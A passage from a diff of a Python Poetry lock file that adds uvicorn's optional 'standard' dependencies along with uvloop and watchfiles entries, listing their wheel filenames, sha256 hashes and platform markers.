"uvicorn-0.35.0.tar.gz", hash = "sha256:bc662f087f7cf2ce11a1d7fd70b90c9f98ef2e2831556dd078d131b96cc94a01"}, @@ -5563,19 +6094,79 @@ files = [ [package.dependencies] click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} h11 = ">=0.8" +httptools = {version = ">=0.6.3", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} +uvloop = {version = ">=0.15.1", optional = true, markers = "sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.4", optional = true, markers = "extra == \"standard\""} [package.extras] standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] +[[package]] +name = "uvloop" +version = "0.21.0" +description = "Fast implementation of asyncio event loop on top of libuv" +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" and sys_platform != \"win32\" and sys_platform != \"cygwin\"" +files = [ + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ec7e6b09a6fdded42403182ab6b832b71f4edaf7f37a9a0e371a01db5f0cb45f"}, + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:196274f2adb9689a289ad7d65700d37df0c0930fd8e4e743fa4834e850d7719d"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f38b2e090258d051d68a5b14d1da7203a3c3677321cf32a95a6f4db4dd8b6f26"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c43e0f13022b998eb9b973b5e97200c8b90823454d4bc06ab33829e09fb9bb"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:10d66943def5fcb6e7b37310eb6b5639fd2ccbc38df1177262b0640c3ca68c1f"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:67dd654b8ca23aed0a8e99010b4c34aca62f4b7fce88f39d452ed7622c94845c"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c0f3fa6200b3108919f8bdabb9a7f87f20e7097ea3c543754cabc7d717d95cf8"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0878c2640cf341b269b7e128b1a5fed890adc4455513ca710d77d5e93aa6d6a0"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9fb766bb57b7388745d8bcc53a359b116b8a04c83a2288069809d2b3466c37e"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a375441696e2eda1c43c44ccb66e04d61ceeffcd76e4929e527b7fa401b90fb"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:baa0e6291d91649c6ba4ed4b2f982f9fa165b5bbd50a9e203c416a2797bab3c6"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4509360fcc4c3bd2c70d87573ad472de40c13387f5fda8cb58350a1d7475e58d"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:359ec2c888397b9e592a889c4d72ba3d6befba8b2bb01743f72fffbde663b59c"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7089d2dc73179ce5ac255bdf37c236a9f914b264825fdaacaded6990a7fb4c2"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baa4dcdbd9ae0a372f2167a207cd98c9f9a1ea1188a8a526431eef2f8116cc8d"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86975dca1c773a2c9864f4c52c5a55631038e387b47eaf56210f873887b6c8dc"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:461d9ae6660fbbafedd07559c6a2e57cd553b34b0065b6550685f6653a98c1cb"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:183aef7c8730e54c9a3ee3227464daed66e37ba13040bb3f350bc2ddc040f22f"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bfd55dfcc2a512316e65f16e503e9e450cab148ef11df4e4e679b5e8253a5281"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:787ae31ad8a2856fc4e7c095341cccc7209bd657d0e71ad0dc2ea83c4a6fa8af"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ee4d4ef48036ff6e5cfffb09dd192c7a5027153948d85b8da7ff705065bacc6"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3df876acd7ec037a3d005b3ab85a7e4110422e4d9c1571d4fc89b0fc41b6816"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd53ecc9a0f3d87ab847503c2e1552b690362e005ab54e8a48ba97da3924c0dc"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a5c39f217ab3c663dc699c04cbd50c13813e31d917642d459fdcec07555cc553"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:17df489689befc72c39a08359efac29bbee8eee5209650d4b9f34df73d22e414"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc09f0ff191e61c2d592a752423c767b4ebb2986daa9ed62908e2b1b9a9ae206"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f0ce1b49560b1d2d8a2977e3ba4afb2414fb46b86a1b64056bc4ab929efdafbe"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e678ad6fe52af2c58d2ae3c73dc85524ba8abe637f134bf3564ed07f555c5e79"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:460def4412e473896ef179a1671b40c039c7012184b627898eea5072ef6f017a"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:10da8046cc4a8f12c91a1c39d1dd1585c41162a15caaef165c2174db9ef18bdc"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c097078b8031190c934ed0ebfee8cc5f9ba9642e6eb88322b9958b649750f72b"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:46923b0b5ee7fc0020bef24afe7836cb068f5050ca04caf6b487c513dc1a20b2"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e420a3afe22cdcf2a0f4846e377d16e718bc70103d7088a4f7623567ba5fb0"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb67cdbc0e483da00af0b2c3cdad4b7c61ceb1ee0f33fe00e09c81e3a6cb75"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:221f4f2a1f46032b403bf3be628011caf75428ee3cc204a22addf96f586b19fd"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2d1f581393673ce119355d56da84fe1dd9d2bb8b3d13ce792524e1607139feff"}, + {file = "uvloop-0.21.0.tar.gz", hash = "sha256:3bf12b0fda68447806a7ad847bfa591613177275d35b6724b1ee573faa3704e3"}, +] + +[package.extras] +dev = ["Cython (>=3.0,<4.0)", "setuptools (>=60)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=23.0.0,<23.1.0)", "pycodestyle (>=2.9.0,<2.10.0)"] + [[package]] name = "virtualenv" version = "20.34.0" description = "Virtual Python Environment builder" optional = false python-versions = ">=3.8" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "virtualenv-20.34.0-py3-none-any.whl", hash = "sha256:341f5afa7eee943e4984a9207c025feedd768baff6753cd660c857ceb3e36026"}, {file = "virtualenv-20.34.0.tar.gz", hash = "sha256:44815b2c9dee7ed86e387b842a84f20b93f7f417f95886ca1996a72a4138eb1a"}, @@ -5649,6 +6240,125 @@ files = [ [package.extras] watchmedo = ["PyYAML (>=3.10)"] +[[package]] +name = "watchfiles" +version = "1.1.0" +description = "Simple, modern and high performance file watching and code reload in python." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "watchfiles-1.1.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:27f30e14aa1c1e91cb653f03a63445739919aef84c8d2517997a83155e7a2fcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3366f56c272232860ab45c77c3ca7b74ee819c8e1f6f35a7125556b198bbc6df"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8412eacef34cae2836d891836a7fff7b754d6bcac61f6c12ba5ca9bc7e427b68"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:df670918eb7dd719642e05979fc84704af913d563fd17ed636f7c4783003fdcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d7642b9bc4827b5518ebdb3b82698ada8c14c7661ddec5fe719f3e56ccd13c97"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:199207b2d3eeaeb80ef4411875a6243d9ad8bc35b07fc42daa6b801cc39cc41c"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a479466da6db5c1e8754caee6c262cd373e6e6c363172d74394f4bff3d84d7b5"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:935f9edd022ec13e447e5723a7d14456c8af254544cefbc533f6dd276c9aa0d9"}, + {file = "watchfiles-1.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:8076a5769d6bdf5f673a19d51da05fc79e2bbf25e9fe755c47595785c06a8c72"}, + {file = "watchfiles-1.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86b1e28d4c37e89220e924305cd9f82866bb0ace666943a6e4196c5df4d58dcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-win32.whl", hash = "sha256:d1caf40c1c657b27858f9774d5c0e232089bca9cb8ee17ce7478c6e9264d2587"}, + {file = "watchfiles-1.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:a89c75a5b9bc329131115a409d0acc16e8da8dfd5867ba59f1dd66ae7ea8fa82"}, + {file = "watchfiles-1.1.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:c9649dfc57cc1f9835551deb17689e8d44666315f2e82d337b9f07bd76ae3aa2"}, + {file = "watchfiles-1.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:406520216186b99374cdb58bc48e34bb74535adec160c8459894884c983a149c"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb45350fd1dc75cd68d3d72c47f5b513cb0578da716df5fba02fff31c69d5f2d"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:11ee4444250fcbeb47459a877e5e80ed994ce8e8d20283857fc128be1715dac7"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bda8136e6a80bdea23e5e74e09df0362744d24ffb8cd59c4a95a6ce3d142f79c"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b915daeb2d8c1f5cee4b970f2e2c988ce6514aace3c9296e58dd64dc9aa5d575"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ed8fc66786de8d0376f9f913c09e963c66e90ced9aa11997f93bdb30f7c872a8"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe4371595edf78c41ef8ac8df20df3943e13defd0efcb732b2e393b5a8a7a71f"}, + {file = "watchfiles-1.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b7c5f6fe273291f4d414d55b2c80d33c457b8a42677ad14b4b47ff025d0893e4"}, + {file = "watchfiles-1.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7738027989881e70e3723c75921f1efa45225084228788fc59ea8c6d732eb30d"}, + {file = "watchfiles-1.1.0-cp311-cp311-win32.whl", hash = "sha256:622d6b2c06be19f6e89b1d951485a232e3b59618def88dbeda575ed8f0d8dbf2"}, + {file = "watchfiles-1.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:48aa25e5992b61debc908a61ab4d3f216b64f44fdaa71eb082d8b2de846b7d12"}, + {file = "watchfiles-1.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:00645eb79a3faa70d9cb15c8d4187bb72970b2470e938670240c7998dad9f13a"}, + {file = "watchfiles-1.1.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:9dc001c3e10de4725c749d4c2f2bdc6ae24de5a88a339c4bce32300a31ede179"}, + {file = "watchfiles-1.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d9ba68ec283153dead62cbe81872d28e053745f12335d037de9cbd14bd1877f5"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:130fc497b8ee68dce163e4254d9b0356411d1490e868bd8790028bc46c5cc297"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:50a51a90610d0845a5931a780d8e51d7bd7f309ebc25132ba975aca016b576a0"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc44678a72ac0910bac46fa6a0de6af9ba1355669b3dfaf1ce5f05ca7a74364e"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a543492513a93b001975ae283a51f4b67973662a375a403ae82f420d2c7205ee"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ac164e20d17cc285f2b94dc31c384bc3aa3dd5e7490473b3db043dd70fbccfd"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7590d5a455321e53857892ab8879dce62d1f4b04748769f5adf2e707afb9d4f"}, + {file = "watchfiles-1.1.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:37d3d3f7defb13f62ece99e9be912afe9dd8a0077b7c45ee5a57c74811d581a4"}, + {file = "watchfiles-1.1.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:7080c4bb3efd70a07b1cc2df99a7aa51d98685be56be6038c3169199d0a1c69f"}, + {file = "watchfiles-1.1.0-cp312-cp312-win32.whl", hash = "sha256:cbcf8630ef4afb05dc30107bfa17f16c0896bb30ee48fc24bf64c1f970f3b1fd"}, + {file = "watchfiles-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:cbd949bdd87567b0ad183d7676feb98136cde5bb9025403794a4c0db28ed3a47"}, + {file = "watchfiles-1.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:0a7d40b77f07be87c6faa93d0951a0fcd8cbca1ddff60a1b65d741bac6f3a9f6"}, + {file = "watchfiles-1.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5007f860c7f1f8df471e4e04aaa8c43673429047d63205d1630880f7637bca30"}, + {file = "watchfiles-1.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:20ecc8abbd957046f1fe9562757903f5eaf57c3bce70929fda6c7711bb58074a"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2f0498b7d2a3c072766dba3274fe22a183dbea1f99d188f1c6c72209a1063dc"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:239736577e848678e13b201bba14e89718f5c2133dfd6b1f7846fa1b58a8532b"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eff4b8d89f444f7e49136dc695599a591ff769300734446c0a86cba2eb2f9895"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12b0a02a91762c08f7264e2e79542f76870c3040bbc847fb67410ab81474932a"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29e7bc2eee15cbb339c68445959108803dc14ee0c7b4eea556400131a8de462b"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9481174d3ed982e269c090f780122fb59cee6c3796f74efe74e70f7780ed94c"}, + {file = "watchfiles-1.1.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:80f811146831c8c86ab17b640801c25dc0a88c630e855e2bef3568f30434d52b"}, + {file = "watchfiles-1.1.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:60022527e71d1d1fda67a33150ee42869042bce3d0fcc9cc49be009a9cded3fb"}, + {file = "watchfiles-1.1.0-cp313-cp313-win32.whl", hash = "sha256:32d6d4e583593cb8576e129879ea0991660b935177c0f93c6681359b3654bfa9"}, + {file = "watchfiles-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:f21af781a4a6fbad54f03c598ab620e3a77032c5878f3d780448421a6e1818c7"}, + {file = "watchfiles-1.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:5366164391873ed76bfdf618818c82084c9db7fac82b64a20c44d335eec9ced5"}, + {file = "watchfiles-1.1.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:17ab167cca6339c2b830b744eaf10803d2a5b6683be4d79d8475d88b4a8a4be1"}, + {file = "watchfiles-1.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:328dbc9bff7205c215a7807da7c18dce37da7da718e798356212d22696404339"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f7208ab6e009c627b7557ce55c465c98967e8caa8b11833531fdf95799372633"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a8f6f72974a19efead54195bc9bed4d850fc047bb7aa971268fd9a8387c89011"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d181ef50923c29cf0450c3cd47e2f0557b62218c50b2ab8ce2ecaa02bd97e670"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:adb4167043d3a78280d5d05ce0ba22055c266cf8655ce942f2fb881262ff3cdf"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5701dc474b041e2934a26d31d39f90fac8a3dee2322b39f7729867f932b1d4"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b067915e3c3936966a8607f6fe5487df0c9c4afb85226613b520890049deea20"}, + {file = "watchfiles-1.1.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:9c733cda03b6d636b4219625a4acb5c6ffb10803338e437fb614fef9516825ef"}, + {file = "watchfiles-1.1.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:cc08ef8b90d78bfac66f0def80240b0197008e4852c9f285907377b2947ffdcb"}, + {file = "watchfiles-1.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:9974d2f7dc561cce3bb88dfa8eb309dab64c729de85fba32e98d75cf24b66297"}, + {file = "watchfiles-1.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c68e9f1fcb4d43798ad8814c4c1b61547b014b667216cb754e606bfade587018"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95ab1594377effac17110e1352989bdd7bdfca9ff0e5eeccd8c69c5389b826d0"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fba9b62da882c1be1280a7584ec4515d0a6006a94d6e5819730ec2eab60ffe12"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3434e401f3ce0ed6b42569128b3d1e3af773d7ec18751b918b89cd49c14eaafb"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fa257a4d0d21fcbca5b5fcba9dca5a78011cb93c0323fb8855c6d2dfbc76eb77"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7fd1b3879a578a8ec2076c7961076df540b9af317123f84569f5a9ddee64ce92"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:62cc7a30eeb0e20ecc5f4bd113cd69dcdb745a07c68c0370cea919f373f65d9e"}, + {file = "watchfiles-1.1.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:891c69e027748b4a73847335d208e374ce54ca3c335907d381fde4e41661b13b"}, + {file = "watchfiles-1.1.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:12fe8eaffaf0faa7906895b4f8bb88264035b3f0243275e0bf24af0436b27259"}, + {file = "watchfiles-1.1.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:bfe3c517c283e484843cb2e357dd57ba009cff351edf45fb455b5fbd1f45b15f"}, + {file = "watchfiles-1.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a9ccbf1f129480ed3044f540c0fdbc4ee556f7175e5ab40fe077ff6baf286d4e"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba0e3255b0396cac3cc7bbace76404dd72b5438bf0d8e7cefa2f79a7f3649caa"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4281cd9fce9fc0a9dbf0fc1217f39bf9cf2b4d315d9626ef1d4e87b84699e7e8"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6d2404af8db1329f9a3c9b79ff63e0ae7131986446901582067d9304ae8aaf7f"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e78b6ed8165996013165eeabd875c5dfc19d41b54f94b40e9fff0eb3193e5e8e"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:249590eb75ccc117f488e2fabd1bfa33c580e24b96f00658ad88e38844a040bb"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d05686b5487cfa2e2c28ff1aa370ea3e6c5accfe6435944ddea1e10d93872147"}, + {file = "watchfiles-1.1.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:d0e10e6f8f6dc5762adee7dece33b722282e1f59aa6a55da5d493a97282fedd8"}, + {file = "watchfiles-1.1.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:af06c863f152005c7592df1d6a7009c836a247c9d8adb78fef8575a5a98699db"}, + {file = "watchfiles-1.1.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:865c8e95713744cf5ae261f3067861e9da5f1370ba91fc536431e29b418676fa"}, + {file = "watchfiles-1.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:42f92befc848bb7a19658f21f3e7bae80d7d005d13891c62c2cd4d4d0abb3433"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa0cc8365ab29487eb4f9979fd41b22549853389e22d5de3f134a6796e1b05a4"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:90ebb429e933645f3da534c89b29b665e285048973b4d2b6946526888c3eb2c7"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c588c45da9b08ab3da81d08d7987dae6d2a3badd63acdb3e206a42dbfa7cb76f"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c55b0f9f68590115c25272b06e63f0824f03d4fc7d6deed43d8ad5660cabdbf"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd17a1e489f02ce9117b0de3c0b1fab1c3e2eedc82311b299ee6b6faf6c23a29"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:da71945c9ace018d8634822f16cbc2a78323ef6c876b1d34bbf5d5222fd6a72e"}, + {file = "watchfiles-1.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:51556d5004887045dba3acdd1fdf61dddea2be0a7e18048b5e853dcd37149b86"}, + {file = "watchfiles-1.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:04e4ed5d1cd3eae68c89bcc1a485a109f39f2fd8de05f705e98af6b5f1861f1f"}, + {file = "watchfiles-1.1.0-cp39-cp39-win32.whl", hash = "sha256:c600e85f2ffd9f1035222b1a312aff85fd11ea39baff1d705b9b047aad2ce267"}, + {file = "watchfiles-1.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3aba215958d88182e8d2acba0fdaf687745180974946609119953c0e112397dc"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3a6fd40bbb50d24976eb275ccb55cd1951dfb63dbc27cae3066a6ca5f4beabd5"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9f811079d2f9795b5d48b55a37aa7773680a5659afe34b54cc1d86590a51507d"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a2726d7bfd9f76158c84c10a409b77a320426540df8c35be172444394b17f7ea"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df32d59cb9780f66d165a9a7a26f19df2c7d24e3bd58713108b41d0ff4f929c6"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0ece16b563b17ab26eaa2d52230c9a7ae46cf01759621f4fbbca280e438267b3"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:51b81e55d40c4b4aa8658427a3ee7ea847c591ae9e8b81ef94a90b668999353c"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2bcdc54ea267fe72bfc7d83c041e4eb58d7d8dc6f578dfddb52f037ce62f432"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 